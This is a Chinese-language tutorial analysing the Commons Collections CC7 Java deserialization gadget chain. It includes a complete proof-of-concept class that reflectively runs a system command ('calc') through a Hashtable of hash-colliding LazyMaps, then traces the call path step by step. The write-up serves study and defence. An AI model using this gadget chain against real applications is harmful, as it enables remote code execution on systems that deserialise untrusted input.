CC7也是一條比較通用的鍊了,不過對于其原理的話,其實還是挺複雜的。文章如有錯誤,敬請大佬們斧正
CC7利用的是hashtable#readObject作為反序列化入口。AbstractMap的equals來觸發的LazyMap的get方法
POC分析
這條鍊太過于複雜,無法想象大佬們是怎麼樣的思維挖掘出這條鍊的,是以隻能跟着大佬的poc跟着進行調試了分析了
public class CC7 {
public static void main(String[] args) throws Exception {
final String[] execArgs = new String[]{"calc"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
System.out.println(lazyMap1 == lazyMap2);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectInputStream.readObject();
}
}
前面和其他鍊都一樣,關鍵看後面。這裡構造了兩個LazyMap對象,并且都put進了hashtable中。而hashtable的readObject就是為反序列化的入口。
在readObject方法的最後一行,進入reconstitutionPut方法
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnLwMzM2ATMzEjMyEzNwEjMwITLldWYtl2LcdWbp9CXyVGdzFWbvw1dhJ3LcdWbp9CXp5WdolXevwVbvNmLlVGdpd2Lc9CX6MHc0RHaiojIsJye.png)
進行判斷tab[index]是否為null,不為null則進入if語句,執行e.key.equals(key),此時的e.key為LazyMap
轉到LazyMap的equals方法,此時的map就是剛開始傳入的HashMap,而參數object就是LazyMap
轉到HashMap的equals,第495行進行了m.get,而這個m就是LazyMap,進而調用到了LazyMap的get方法
關于滿足上面調用鍊,要滿足幾個條件
兩個LazyMap的hashcode值要一樣
為了在hashtable數組put第二個LazyMap時候會執行equals方法,是以要進行兩個hash值是相同的。即
lazyMap1.hashCode() == lazyMap2.hashCode()
而相同的條件則是裡面的元素值一樣,比如
"zZ".hashCode()和"yy".hashCode()是一樣的
類似的還有Aa和BB等等
hashtable要put兩次
在反序列時候,執行到reconstitutionPut,需要把第一個LazyMap put進數組。此時進行for循環判斷tab[3]的值為空(null),即不會進入if語句進行判斷,而直接加入lazyMap進行數組到tab[3]的位置
第二次加入LazyMap,會發現LazyMap已經存在于tab[3]的位置,進而進行hash和equals判斷。兩個lazyMap對象用hashCode拿到的hash值其實是相同的,就會執行lazyMap的equals方法判斷兩個LazyMap。
e裡面存放的值
要remove移除LazyMap的值
因為之前在第二次hashtable.put(lazyMap2, 1);時候會進行一次把值加入到m,m.size就成了2,導緻了if語句判斷為真,直接return false中斷了後面m.get的執行,是以要remove第一次put的lazyMap1。接下來看詳細解讀
Hashtable不允許放重複得值,Hashtable進行put的時候,會先比較集合中是否有相同得參數(利用hash值和equals方法比較),如下圖
第二次hashtable.put時,計算到兩個lazyMap得hash值相同,則再調用lazyMap得equals進行比較,lazyMap得equals方法是繼承至AbstractMapDecorator
return了map得equals方法,而map得值是在LazyMap.decorate中傳入得hashMap2,為HashMap類型
檢視HashMap得equals(此方法是繼承自AbstractMap)
在482行中,此時m值隻有個zZ,size為1
之後把zZ加進了集合後,就有兩個元素了。
後面進行反序列化時候,調用到這裡會出現m.size=2,而size()則是1,導緻了直接return false中斷了後面m.get的執行